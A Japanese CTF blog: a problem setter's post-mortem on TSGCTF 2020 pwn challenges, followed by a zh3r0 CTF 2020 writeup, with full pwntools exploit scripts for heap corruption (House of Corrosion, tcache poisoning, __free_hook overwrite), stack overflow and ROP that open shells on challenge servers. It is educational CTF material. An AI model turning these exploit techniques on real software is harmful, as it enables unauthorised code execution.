newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 31.0】 TSGCTF 2020 作問反省

 

 

 

 

 

0: イントロ

いつぞや開催された TSGCTF 2020 において、pwn問題を2問作問し、1問共作しました。結果としては反省点ばかりで、もやもやして今すぐやるべき期末試験勉強に集中できないので、ここに雑に反省を置いておきます。

1: RACHELL: 7solves 322pts

問題概要

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

バイナリサイズが大きいためCソースを添付しています。 超簡易的なファイルシステムを模し、数個のコマンドを処理してファイル・ディレクトリを作成・削除・書き込みすることができます。 ただし cat コマンドは実装されておらず、ディレクトリ名を表示する際にも以下の関数で出力がチェックされ、検査に引っかかるとプログラムが停止(非終了)します。

unsigned char ascii_check(const char *name, unsigned int size)
{
    char c;
    for(int ix=0;ix!=size;++ix){
        c = name[ix];
        if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.')
            continue;
        return 0;
    }
    return 1;
}

パス名の表示以外に、定数値以外を出力する箇所は一切ありません。

非想定解

House of Corrosion を出題したいがためだけに作った問題です。
FILE structureの _IO_write_ptr の書き換えによってleakがされないようにprintf()等でストリームは全く使わないようにしていたり、ascii_check()で出力を検査していたのは、とにかく leakless を目指していたためでした。
しかし、pwd 関数に於いて唯一出力の ascii_check() を行うのをし忘れており、ここから leak が可能であったようです。
一度leakさえできてしまえば、double free も UAF もし放題な問題ゆえ、簡単に解けてしまうという非想定解がありました。
そもそもに、pwd() に ascii_check() を入れていたとしても、上のチェックではゆるいところがあり結局何かしらを何かしらの方法でleakされていたのではないかと思います。
一度考えて没にしたのですが、やっぱりディレクトリ名の出力は全て **CENSORED** のように定数値で統一すべきでした。こうするとファイルシステムを真似するプログラムという問題設定が微妙になってしまうのではと思いやめたのですが、非想定を潰すためには多少問題設定を犠牲にしてでも制限を厳しくすべきだったと反省しています。
なお、最初はコマンドと引数を別々ではなく通常のシェルのように入力できるようにしていたのですが、パーサによってソースコードが倍増してしまうのと、非想定を埋め込みそうだったので割と直前でやめました。

想定のバグ

折角なので、想定解にも軽く触れておきます。まず、バグとして以下のようなものがあります。

  • node(ディレクトリ・ファイル)を削除する際、それがカレントディレクトリ以外にある場合には、nodeのfree()は行われますが、親ノードから該当子ノードが削除されません。親に繋がってる子ノードの削除は問答無用で行われるため、double free/UAFが可能です。
  • ファイルへの書き込み(echo)を行う際に、readn()関数ではなく以下のように読み込んでいます。これによって、任意サイズのmalloc()を行いつつも、実際に書き込むのは"\r"までという操作ができるため、exploitが簡単になります。
          if(target->buf == NULL){
                target->buf = malloc(size);
                // find newline
                for(int ix=0; ix!=size; ++ix){
                if(content[ix] == '\r'){
                    size = ix;
                    break;
                }
                }
                memcpy(target->buf,content,size);
                target->size = size;
          }else{
        
  • バグではありませんが、エラー発生時に呼ばれるpanic()関数は、プログラムを終了するわけではなく停止させます。これも、House of Corrosionを使ってほしいという匂わせです。
        void panic(void)
        {
            write(1,"exit...\n",7);
            while(true)
            sleep(100);
        }
        



想定解

想定では完全なるleaklessだったため、House of Corrosionでleakすることなくシェルを開くというものでした。しかし、おそらくleaklessで解いた人はゼロ人だと思います。
なおこの方法で解く際には、echoをする前に必要なノードを予めtouchして準備しておかないとexploitが難しくなるなど、結構準備が手間です。

#!/usr/bin/env python
#encoding: utf-8;




# TOTAL ENTROPY IS 4-bit+x(x<4)
# TRY SOME TIMES



from pwn import *
import sys
import time

FILENAME = "../dist/rachell"
LIBCNAME = "../dist/libc.so.6"

hosts = ("ニッコニッコニー","localhost","localhost")
ports = (25252,12300,25252)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(command):
  c.recvuntil("command> ")
  c.sendline(command)

def ls(dir="."):
  hoge("ls")
  c.recvuntil("path> ")
  c.sendline(dir)


# current dir only
def touch(name):
  hoge("touch")
  c.recvuntil("filename> ")
  c.sendline(name)

def echo(path,content):
  if "\n" in content:
    raw_input("[w] content@echo() contains '\\n'. It would be end of input. OK?")

  hoge("echo")
  c.recvuntil("arg> ")
  c.sendline(content)
  c.recvuntil("redirect?> ")
  c.sendline("Y")
  c.recvuntil("path> ")
  c.sendline(path)
  if "invalid" in c.recvline():
    raw_input("error detected @ echo()")
    exit()

def rm(path):
  hoge("rm")
  c.recvuntil("filename> ")
  c.sendline(path)
  if "no" in c.recvline():
    raw_input("error detected @ rm()")
    exit()

# relative only
def cd(path):
  hoge("cd")
  c.recvuntil("path> ")
  c.sendline(path)

# current dir only
def mkdir(name):
  hoge("mkdir")
  c.recvuntil("name")
  c.sendline(name)

def te(filename,content):
  touch(filename)
  echo(filename,content)

def formula(delta):
  return delta*2 + 0x20

## exploit ###########################################

def exploit():
  global c
  repeat_flag = False

  # calc ##############################################

  gmf = 0xc940
  bufend_s = formula(0xa70 - 0x8)
  stderralloc_s = formula(0xb08)
  dumpedend_s = formula(0x1ce0)
  pedantic_s = formula(0x1cf8 - 0x8)
  stderrmode_s = formula(0xaf0 - 0x8)
  stderrflags_s = formula(0xa30 - 0x8)
  stderrwriteptr_s = formula(0xa58 - 0x8)
  stderrbufbase_s = formula(0xa68 - 0x8)
  stderrvtable_s = formula(0xa68 + 0xa0 - 0x8)
  stdoutmode_s = formula(0xbd0 - 0x8)
  morecore_s = formula(0x880)
  stderrbufend_s = formula(0xa68)
  stderr_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28)
  stderr60_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28 + 0x60)
  LSB_IO_str_jmps = 0x7360
  LSBs_call_rax = 0x03d8            # call rax gadget. to be called @ _IO_str_overflow()
  '''
  pwndbg> find /2b 0x7f971f8a0000, 0x7f971f8affff, 0xff,0xd0
  0x7f971f8a03d8 <systrim+200>
  0x7f971f8a0657 <ptmalloc_init+631>
  2 patterns found.
  '''

  try: 
      mkdir("test1")
      mkdir("test2")
      mkdir("test3")
      mkdir("test4")
      mkdir("test5")
      mkdir("test6")
      # info: test6 is used only for padding!
      for i in range(5):
        cd("./test"+str(i+2))
        for j in range(0xe):
          touch(str(j+1))
        cd("../")
      print("[+] pre-touched chunks")


      cd("./test1")
      touch("a")
      touch("k")
      touch("large")
      touch("b")
      touch("c")
      touch("LARGE")
      echo("a","A"*0x450)         # for unsortedbin attack
      echo("k","k"*0x130)         # just for padding
      echo("large","B"*0x450)
      echo("b","A"*0x450)         # to overwrite LARGE's size !!!
      cd("../")
      rm("./test1/b")
      rm("./test1/large")
      cd("test1")
      echo("c","\r"*0x460)
      echo("LARGE","L"*0x460)     # to cause error!!!

      touch("hoge")
      touch("hoge2")
      te("padding","K"*0x30)      # JUST PADDING

      print("[+] prepared for later attack")

      # prepare for ADV3  part1 in test2 ##########################

      # get overlapped chunk.
      LSB_A1 = 0xd0              # chunk A's LSB
      adv3_size1 = bufend_s
      cd("../test2")
      echo("1","\r"*(0x50))
      echo("2","2"*(0x20)) # A
      #raw_input("check A's LSB")
      echo("3","3"*(0x20)) # B
      echo("4","4"*(0x50))
      cd("../")
      rm("./test2/1")
      rm("./test2/4")
      cd("test2")
      echo("4",p8(LSB_A1))
      echo("5","5"*(0x50)) # tmp2
      echo("6","6"*(0x50)) # tmp1 overlapping on A
      echo("6",p64(0)+p64(adv3_size1 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size1 + 0x10 + 0x1))
      
      # prepare fakesize
      echo("7",(p64(0)+p64(0x31))*((adv3_size1+0x120)//0x10))
      #raw_input("check overlap")

      print("[+] create overlapped chunks for ADV3 part1")
      cd("../")


      # prepare for ADV3  part2 in test3 ##########################

      # padding
      cd("./test6/")
      echo("1",p64(0x31)*0x10)

      # get overlapped chunk.
      LSB_A2 = 0xa0              # chunk A's LSB
      adv3_size2 = stderralloc_s
      cd("../test3")
      echo("1","\r"*(0x50))
      echo("2","2"*(0x20)) # A
      #raw_input("check A's LSB")
      echo("3","3"*(0x20)) # B
      echo("4","4"*(0x50))
      cd("../")
      rm("./test3/1")
      rm("./test3/4")
      cd("test3")
      echo("4",p8(LSB_A2))
      echo("5","5"*(0x50)) # tmp2
      echo("6","6"*(0x50)) # tmp1 overlapping on A
      echo("6",p64(0)+p64(adv3_size2 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size2 + 0x10 + 0x1))

      # prepare fakesize
      echo("7",(p64(0)+p64(0x31))*((adv3_size2+0x120)//0x10))
      #raw_input("check overlap")

      print("[+] create overlapped chunks for ADV3 part2")
      cd("../")


      # Allocate chunks for ADV2 #################################

      cd("./test4")
      print("[ ] dumpedend_s: "+hex(dumpedend_s))
      echo("1","B"*dumpedend_s)
      echo("2","B"*pedantic_s)
      echo("3","B"*stderrmode_s)
      echo("4","B"*stderrflags_s)
      echo("5","B"*stderrwriteptr_s)
      echo("6","B"*stderrbufbase_s)
      echo("7","B"*stderrvtable_s)
      echo("8","B"*stdoutmode_s)
      print("[+] create some chunks for ADV2")
      cd("../")


      # Connect to largebin and set NON_MAINARENA to 1 ######

      rm("./test1/LARGE")
      cd("./test6")                       # connect to largebin
      echo("2","\r"*0x600)

      cd("../test1")
      echo("b",p64(0)+p64(0x460|0b101))   # set NON_MAIN_ARENA
      cd("../")
      print("[+] connected to large and set NON_MAIN_ARENA")



      # Unsortedbin Attack ###################################
      rm("test1/a")
      cd("./test1")
      echo("a",p64(0)+p16(gmf-0x10))
      echo("hoge","G"*0x450) # unsortedbin attack toward gmf
      cd("../")
      print("[!] Unsortedbin attack success??(4-bit entropy)")


      # Make unsortedbin's bk valid ########################
      rm("./test4/1")
      cd("test4")
      echo("1",p64(0x460))
      cd("../test5")
      echo("1","\r"*dumpedend_s)
      rm("../test4/2")
      cd("../")
      print("[*] made unsortedbin's bk valid")


      # Overwrite FILE of stderr ##########################

      # stderr_mode / 1
      rm("./test4/3")
      cd("./test4")
      echo("3",p64(0x1))
      cd("../test5")
      echo("2","\r"*stderrmode_s)
      cd("../")
      print("[1/5] overwrite FILE of stderr")

      # stdout_mode / 1
      rm("./test4/8")
      cd("./test4")
      echo("8",p64(0x1))
      cd("../test5")
      echo("3","\r"*stdoutmode_s)
      cd("../")
      print("[2/5] overwrite FILE of stderr")

      # stderr_flags / 0
      rm("./test4/4")           # NO NEED IN THIS CASE...
      cd("./test4")
      echo("4",p64(0x0))
      cd("../test5")
      echo("4","\r"*stderrflags_s)
      cd("../")
      print("[3/5] overwrite FILE of stderr")

      # stderr_IO_write_ptr / 0x7fffffffffffffff
      rm("./test4/5")
      cd("./test4")
      echo("5",p64(0x7fffffffffffffff))
      cd("../test5")
      echo("5","\r"*stderrwriteptr_s)
      cd("../")
      print("[4/5] overwrite FILE of stderr")

      # stderr_IO_buf_base / offset of default_morecore_onegadget
      off_default_morecore_one = 0x4becb
      rm("./test4/6")
      cd("./test4")
      echo("6",p64(off_default_morecore_one))
      cd("../test5")
      echo("6","\r"*stderrbufbase_s)
      cd("../")
      print("[5/5] overwrite FILE of stderr")



      # Transplant __morecore value to stderr->file._IO_buf_end ########
      cd("../")
      rm("./test2/2")                   # TODO: 2/3逆じゃね???
      rm("./test2/3")                   # connect to tcache
      cd("test2")
      echo("2",p8(LSB_A1))
      cd("../test6")
      echo("3","\r"*stderrbufend_s)
      cd("../test2")
      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../")
      rm("./test2/2")
      cd("./test2/")
      echo("6",p64(0)+p64(0x10 + stderrbufend_s|1))
      cd("../test6")
      echo("4","\r"*stderrbufend_s)

      cd("../test2")
      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../test6")
      echo("5","\r"*morecore_s)
      print("[+]overwrite stderr->file.IO_buf_end")

      # Partial Transplantation: stderr->file.vtable into _IO_str_jumps

      cd("../")
      rm("./test4/7")
      cd("./test4")
      echo("7",p16(LSB_IO_str_jmps - 0x20))            # 0-bit uncertainity after success of unsortedbin attack (before, 4bit)
      cd("../test6")
      echo("6","\r"*stderrvtable_s)
      print("[+] overwrite stderr's vtable into _IO_str_jumps - 0x20")

      # Tamper in Flight: Transplant __morecore's value to _s._allocate_buffer ###########
      cd("../")
      rm("./test3/3")
      rm("./test3/2")                   # connect to tcache
      cd("test3")
      echo("2",p8(LSB_A2))
      cd("../test6")
      echo("7","\r"*stderralloc_s)
      cd("../test3")

      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../")
      rm("./test3/2")
      cd("./test3/")
      echo("6",p64(0)+p64(0x10 + stderralloc_s|1))
      echo("2",p16(LSBs_call_rax))                      # HAVE 4-BIT UNCERTAINITY !!!
      cd("../test6")
      echo("8","\r"*stderralloc_s)
      print("[ ] morecore_s: "+hex(morecore_s))


      # invoke and get a shell!!!
      c.recvuntil("command> ")
      c.sendline("echo")
      c.recvuntil("arg> ")
      c.sendline("\r"*0x50)
      c.recvuntil("?> ")
      c.sendline("Y")
      c.recvuntil("> ")
      c.sendline("9")
      print("[!] Got shell???")

      return True
  except EOFError:
      print("[-] EOFError")
      c.close()
      return False


## main ##############################################

# check success rate by 'python2 ./exploit.py r bench'
# solvable-check by python2 ./exploit.py r

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)

      elif sys.argv[1][0]=="r" or sys.argv[1][0]=="v":
        try_count = 0
        total_try = 0
        total_success = 0
        start_time = time.time()
        init_time = time.time()
        while True:
            lap_time = time.time()
            try_count += 1
            print("**** {} st try ****".format(hex(try_count)))
            if sys.argv[1][0] == "r":
                c = remote(rhp1["host"],rhp1["port"])
            else:
                c = remote(rhp3["host"],rhp3["port"])
            if exploit()==False:
              print("----- {} st try FAILED: {} sec\n".format(hex(try_count),time.time()-lap_time))
              continue
            else:
                print("----- {} st try SUCCESS: {} sec (total)".format(hex(try_count),time.time()-start_time))
                if len(sys.argv) > 2 :      # check success rate
                    print("\n***** NOW SUCCESS NUM: {} ******\n".format(hex(total_success + 1)))
                    total_try += try_count
                    try_count = 0
                    total_success += 1
                    start_time = time.time()
                    if total_success >= 0x10:
                        print("\n\n\nTotal {} Success in {} Try. Total Time: {} sec\n\n\n".format(hex(total_success),hex(total_try),time.time()-init_time))
                        exit()
                    else:
                        continue
                else:
                    c.interactive()
                    exit()

    else:
        c = remote(rhp2['host'],rhp2['port'])

    exploit()
    c.interactive()


この場合にはexploitは4bitのエントロピーを持ち、およそ14回に1回成功します。

 

f:id:smallkirby:20200713141604p:plain

rachell exploit



2: Violence Fixer: 13solves 241pts

問題概要

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


もともとbeginner問として出題する予定で作りましたが、燃えそうなのでeasy問にしました。
偽のヒープマネージャがheapの情報を記憶し、それに基づいてsizeなりを勝手に上書きしてしまいます。 しかしこいつがかなりガバガバで、容易に実際のheapとのズレが生じます。
但しbeg問の名残として、オプションで偽のヒープマネージャが保持している情報を出力させることができます。


想定解

色々とありそうではありますが、上で説明したズレを利用して、雑にlibcbaseをleakしてfree_hook overwriteで終了です。

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import time

FILENAME = "../dist/violence-fixer"
LIBCNAME = "../dist/libc.so.6"

hosts = ("test","localhost","localhost")
ports = (32112,12300,32112)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ix):
  c.recvuntil("> ")
  c.sendline(str(ix))

def alloc(size,content):
  hoge(1)
  c.recvuntil("size: ")
  c.sendline(str(size))
  c.recvuntil("content: ")
  c.send(content)

def show(index):
  hoge(2)
  c.recvuntil("index: ")
  c.sendline(str(index))

def free(index):
  hoge(3)
  c.recvuntil("index: ")
  c.sendline(str(index))

def get_value(index):
  hoge(4)
  for i in range(index):
    c.recvuntil("INUSE")
  c.recvuntil("INUSE\n ")
  return c.recv(8)

def delegate(size,content):
  hoge(0)
  c.recvuntil("> ")
  c.sendline('y')
  c.recvuntil("size: ")
  c.sendline(str(size))
  c.recvuntil("content: ")
  c.send(content)

## exploit ###########################################

def exploit():
  global c
  c.recvuntil("?: ")
  c.sendline("y")

  # prepare
  alloc(0x200,"1"*0x30)
  alloc(0x200,"2"*0x30)
  alloc(0x200,"3"*0x30)
  alloc(0x200,"4"*0x30)
  alloc(0xa0,"5"*0x30)
  alloc(0x200,"4"*0x30)
  alloc(0x1e0,"4"*0x30)
  alloc(0x1e0,"4"*0x30) # TARGET
  alloc(0x1e0,"5"*0x30)
  alloc(0x1e0,p64(0x21)*(0x1e0//8))
  alloc(0x1e0,"7"*0x10)
  alloc(0xc0,"8"*0x10)
  alloc(0x10,"9"*0x10)

  # leak libcbase
  free(1)
  free(2)
  free(3)
  free(4)
  free(5)
  alloc(0x60,p8(0)*0x30 + p64(0) + p64(0x481))
  free(7)
  for i in range(4):
    alloc(0x10,p8(1))
  alloc(0x160,"A"*0x160)

  show(7)
  c.recvuntil("A"*0x160)
  libcbase = unpack(c.recvline().rstrip().ljust(8,'\x00')) - 0x1ebbe0
  print("[+]libcbase: "+hex(libcbase))

  # tcache duplicate
  alloc(0x1f0,p8(0))
  alloc(0x80,p8(0)) 

  alloc(0x60,"1"*0x8) 
  alloc(0x50,"/bin/sh;\x00")
  alloc(0x50,"3"*0x8)
  alloc(0x20,"4"*0x8)
  alloc(0x20,"5"*0x8)
  alloc(0x20,"6"*0x8)
  alloc(0x20,"7"*0x8) # 
  free(0xf)
  free(0x13)
  free(0x15)
  alloc(0x130,p64(0)+p64(0x31)+"A"*0x80+p64(0)+p64(0x31)+p64(libcbase + libc.symbols["__free_hook"]))
  alloc(0x20,p8(0))
  delegate(0x20,p64(libcbase+libc.symbols["system"]))

  free(0x10)
  return

## main ##############################################

if __name__ == "__main__":
    global c
    start_time = time.time()
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])

    exploit()
    print("\n\n[!] exploit success: {} sec\n\n".format(time.time()-start_time))
    c.interactive()

f:id:smallkirby:20200713141628p:plain

violence-fixer exploit



3: Karte: 6solves 341pts

moraさんと一緒に作った問題です。PoCはmoraさんのgistにあります。

https://gist.github.com/moratorium08/a1daa601b0785981c97b08f777a3da59

 


libc2.31で動いているので、いい感じにいい感じします。

 

4: 全体

ルフレビューが甘々でした。また、互いのレビューをする際にも、もっと時間に余裕を持って多方面から行うべきでした。
beginner問は、SECCONでかなり好評のものが出たので、今後beginner問を自称する際にはあのくらいのやつを出さないといけないのかもしれませんね。
(但し、個人的には本当にどこから手を付けていいかわからない人はハリネズミ本+坂井さんのリンカローダ本を読んでpico/xyzをやるべきだとは思います)

また、問題セットが若干偏っていた感じがあります。pwnはbeg*1, heap*3, 言語問*1, その他*1でした。kernel問を入れて、heap問を1問退場させればもうちょいいい感じになったんじゃないかと思います。

時間的には、pwnに関して言うと24hで十分だったんじゃないかと思います。事実、トップチームは最初の12h以内にpwnを全完して暇そうだったので。miscが多い感もあったと思いますが、今日は随分晴れています。

一番の反省点は、自分自身がそもそもにpwn雑魚なのに作問なんかしようと思い上がったことですね。
pwn雑魚が作った問題は、例外なくクソ問になります。問題を作るのならば、まずは自分自身がいい加減beginnerレベルを卒業できるくらいには強くならなくちゃいけないと痛感しました。
時間を見つけて、pwnを勉強しつつ問題を作り溜めていこうと思います。

5: アウトロ

反省点ばかりでした。少しでもboringに感じた方はすいませんでした。勉強しときます。







続く...







【pwn 30.0】zh3r0 CTF 2020 - writeup

 

 

 

 

 

7: イントロ

最近レポートに殺されていた(同時にレポートを殺していた)ためCTFに参加できていなかったが

夜11時にふと思い立って適当に今建っている野良CTFに参加することにした

参加したのは zh3r0 CTF 2020 (インドのCTF?)

やっぱ一人だと詰まったところで悶々として壁を殴るしかできないため、殴る用の壁を買おうと思う

 

肝心のCTFの内容だが、開始と同時にサーバダウン・以降もずっとサーバ重々・変なdiscord問のおかげでdiscordのgeneralチャンネルがスパムで汚染されている・参加者全員に周知すべき内容(サーバダウン・問題パッチ等)をnotification boardではなく(汚染された)discordで言う・2秒で解ける非想定解(まあこれは仕方ない)・一度配布されたバイナリを度々パッチ当てたり追加したりする・異様にDMを促す(flagの内容もDMしてくれが多かった)・discord以外での通知無しで延長される・冗長な問題等々、運営が最高だった

別に批判するつもりはなく、CTFをホストするっていうのはやっぱり大変なんだなぁと思うと同時に、ちゃんと開催してきてるチームはすげえなぁと改めて思った

 

それと同時に、レポートをやる時間を返してくれとも思った

 

 

921:  Snakes Everywhere (rev)

pwnが3問しか出ていない時に消化不良だったため解いたRev問

状況

pythonのディスアセンブルコード(もとのコードは本物のFlagを暗号化してる)と暗号化されたデータファイルが渡されている

解法

普通にpythonのディスアセンブルコードを読んで、それと逆のことをするプログラムを書いて暗号化データをデコードすればいい

exploit
def xor(str1,str2):
    return chr(ord(str1) ^ ord(str2))

flag = ""
len_flag = 38
key = "I_l0v3_r3v3r51ng"

with open("./snake.txt","rb") as f:
    cipher = f.read()


for i in range(len_flag+63,63+len(key)//2,-1):
    flag += xor(chr(cipher[i]),key[i%16])

for i in range(len_flag//3*2+63,63+len_flag//3-1):
    flag += chr(cipher[i] // ord(key[i%len(key)] + i))
    print("*")

print(flag)

'''
# original code
def xor(str1,str2):
    return chr(ord(str1) ^ ord(str2))


# file length == 38(0x26)
flag = "zh3r0{fake flag}"
key = "I_l0v3r3v3r51ng"

if len(flag) == 38:
    print("ERROR")
    exit()

ciphertext = ""

for i in range(len(flag)//3):
    ciphertext += chr(ord(flag[i])*ord(key[i]))

for i in range(len(flag)//3,len(flag)//3*2):
    ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)] + i)

for i in range((len(key)//2,len(flag)):
    ciphertext += xor(key[i%16],flag[i])

'''

 未完成なまま動かしたら殆どデコードできたから後は脳内補完した

zh3r0{python_disass3mbly_is v3ry_E4sy}

 

 

1: FreeFlag

状況

win()関数あり、StackOverflowあり。指を動かすカロリーのみが必要

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("us.pwn.zh3r0.ml","localhost","localhost")
ports = (3456,12900,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

win = 0x400707

def hoge():
    pass

## exploit ###########################################

def exploit():
  global c

  c.recvuntil("name: ")
  raw_input("OK")
  c.send("A"*0x28+p64(win+1))


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 zh3r0{welcome_to_zh3r0_ctf}

 

46: Command 1

状況

バイナリ読んでないからわからん

exploit

Add: hoge

Edit: 0->sh

Run: 0

これでflagが取れる。残念な非想定解が存在した問題(レビュー時に気づかないのがちょっと不思議)

 

zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}

一瞬flagで笑わせに来てるのかと思った

想定解をflagに入れると、非想定解があったときにクソださくなるからやめようと思った

 

-32: Help

状況
./chall2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8706cc0104f816cb54565b44b7bcbb07bda87ac8, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

冗長すぎるバイナリが配布される。これは何か妙技があるのかと思ったら、ただ冗長だった

.bssの指定の場所に一度のみ自由に書き込みできる

18byte stack overflowがある

 解法

まずはlibcbaseをleakする

 pop rdi gadgetを用いてgot[setvbuf]をrdiに積んだ後、main関数中のcall putsの直前に飛ぶようにROPする

puts()でlibc leakをしたあとも普通に2回目のmain関数は続きread()をする

2回目のmainにreturnする際にRSPは2回目のreadでgot[setvbuf]+0x20に対してreadをすることになるから、前述のROPの際FBPの場所に.bssセクションのアドレスを上書きし、.bssにはgot[setvbuf]+0x20のアドレスを書き込んでおき、onegadgetでGOT overwrite

最後に2回目のreturnをするところで、.bssに仕込んでおいたplt[setvbuf]にreturnして終了

exploit
censored

zh3r0{thanks_somuch_for_helping_my_friend____btw_please_DM_me_what_solution_did_you_use}

 

73.91: Command2

状況

double freeできるのでtcache poisoningして終わり

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = "./libc.so.6"

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (7530,12900,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################


def hoge(ix):
    global c
    c.recvuntil("> ")
    c.sendline(str(ix))

def _add(command,size,description):
    global c
    hoge(1)
    c.recvline()
    c.recvuntil("> ")
    print("********::")
    c.send(command)
    c.recvline()
    c.send(str(size))
    c.recvline()
    c.send(description)

def _run(command,ix):
    hoge(2)

def _del(ix):
    hoge(4)
    c.recvuntil("index: ")
    c.sendline(str(ix))

def _show(ix):
    hoge(5)
    c.recvuntil("index")
    c.sendline(str(ix))

## exploit ###########################################

def exploit():
  global c

  _add("A"*0x18,0x600,"B"*0x600)
  _add("C"*0x18,0x38,"D"*0x38)
  print("[+] created two command")
  print("sleeping...")
  sleep(2)
  _show(1)
  print("[+] showed")
  c.recvuntil("C"*0x18)
  heapbase = unpack(c.recvline().rstrip()[:-1].ljust(8,'\x00')) - 0x950-0x1f0+0x200+0x70
  print("heap: "+hex(heapbase))
  c.recvline()

  _add(p64(0x41)*3,0x38,"F"*0x38)
  _del(1)
  _del(1)
  _del(0)

  #_add(p64(1)+"\n",0x38,p64(heapbase+0x50))
  _add(p64(heapbase+0x260)+"\n",0x58,"E"*0x8)
  _show(3)
  c.recvuntil("E"*0x8)
  libcbase = unpack(c.recv(6).ljust(8,'\x00')) - 0x3ec110
  print("libcbase: "+hex(libcbase))


  ogs = [0x4f2c5,0x4f322,0x10a38c]

  _add("E"*0x18,0x38,p64(libcbase+libc.symbols["__free_hook"]))
  _add("/bin/sh;\n",0x38,"E"*8)
  _add("/bin/sh;\n",0x38,p64(libcbase+libc.symbols["system"]))

  hoge(4)
  c.recvuntil("index: ")
  c.sendline(str(5))

## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

zh3r0{don't_let_heap_pwn_killed_dmmeyoursol}

 

 

1.3e+9: Blind

状況

バイナリが与えられていないblind pwn

blind pwnと言えばFSAでelfbase求めてなんたらみたいなのが多い気がしているが、本問ではlibcbase(みたいなもの。そうとは言われてない)が最初から与えられている

一度だけ入力を求められ、大量に入力すると以下のようになる

f:id:smallkirby:20200617235606p:plain

Core dumpedとは表示されているが明らかに本物のコアダンプではないため、自前のカナリアを飼っているものと考えられる

解法

ここらでTSGのsandboxで愚痴を言っていたところ

卍うにしいず卍さんがささっとカナリアを求めてくれたため、それを使ってret2libcで終了

(頭がついていなかったため 256^8 回のbrute-forceが必要かと思ってしまっていたが 256*8 回で良かった)

(coredumpが0x24以上からであり、8byte alignされていないの気持ち悪いなと思っていたら、カナリアのあとに0x4byte埋める必要があった)

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = ""
LIBCNAME = "../help/libc.so.6"

hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (3248,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
